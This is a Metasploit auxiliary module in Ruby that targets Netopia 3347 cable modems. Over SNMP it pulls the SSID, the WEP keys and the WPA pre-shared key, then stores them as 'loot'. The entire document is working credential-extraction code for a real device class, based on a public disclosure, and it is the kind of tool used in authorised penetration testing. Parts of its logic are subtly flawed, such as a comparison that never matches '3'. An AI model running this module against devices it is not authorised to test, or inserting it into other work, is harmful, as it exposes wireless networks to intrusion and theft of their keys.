Netopia 3347 Cable Modem Wifi Enumeration

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::SNMPClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'Netopia 3347 Cable Modem Wifi Enumeration',  
'Description' => %q{  
This module extracts WEP keys and WPA preshared keys from  
certain Netopia cable modems.  
},  
'References' =>  
[  
[ 'URL', 'https://www.rapid7.com/blog/post/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string/' ]  
],  
'Author' => ['Deral "PercentX" Heiland'],  
'License' => MSF_LICENSE  
)  
  
end  
  
def run_host(ip)  
output_data = {}  
begin  
snmp = connect_snmp  
  
if snmp.get_value('sysDescr.0') =~ /Netopia 3347/  
  
wifistatus = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.1.0')  
if wifistatus == "1"  
wifiinfo = ""  
ssid = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.9.1.2.1')  
print_good("#{ip}")  
print_good("SSID: #{ssid}")  
wifiinfo << "SSID: #{ssid}" << "\n"  
  
wifiversion = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.9.1.4.1')  
if wifiversion == "1"  
  
# WEP enabled  
elsif wifiversion == ("2"||"3")  
wepkey1 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.1')  
print_good("WEP KEY1: #{wepkey1}")  
wifiinfo << "WEP KEY1: #{wepkey1}" << "\n"  
wepkey2 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.2')  
print_good("WEP KEY2: #{wepkey2}")  
wifiinfo << "WEP KEY2: #{wepkey2}" << "\n"  
wepkey3 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.3')  
print_good("WEP KEY3: #{wepkey3}")  
wifiinfo << "WEP KEY3: #{wepkey3}" << "\n"  
wepkey4 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.4')  
print_good("WEP KEY4: #{wepkey4}")  
wifiinfo << "WEP KEY4: #{wepkey4}" << "\n"  
actkey = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.13.0')  
print_good("Active Wep key is Key#{actkey}")  
wifiinfo << "Active WEP key is KEY#: #{actkey}" << "\n"  
  
# WPA enabled  
elsif wifiversion == "4"  
print_line("Device is configured for WPA ")  
wpapsk = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.9.1.5.1')  
print_good("WPA PSK: #{wpapsk}")  
wifiinfo << "WPA PSK: #{wpapsk}" << "\n"  
  
# WPA Enterprise enabled  
elsif wifiversion == "5"  
print_line("Device is configured for WPA enterprise")  
else  
print_line("FAILED")  
end  
  
else  
print_line("WIFI is not enabled")  
end  
end  
# Woot we got loot.  
loot_name = "netopia_wifi"  
loot_type = "text/plain"  
loot_filename = "netopia_wifi.txt"  
loot_desc = "Netopia Wifi configuration data"  
p = store_loot(loot_name, loot_type, datastore['RHOST'], wifiinfo , loot_filename, loot_desc)  
print_good("WiFi Data saved: #{p}")  
  
rescue ::SNMP::UnsupportedVersion  
rescue ::SNMP::RequestTimeout  
rescue ::Interrupt  
raise $!  
rescue ::Exception => e  
print_error("#{ip} - Error: #{e.class} #{e}")  
disconnect_snmp  
end  
end  
end  
`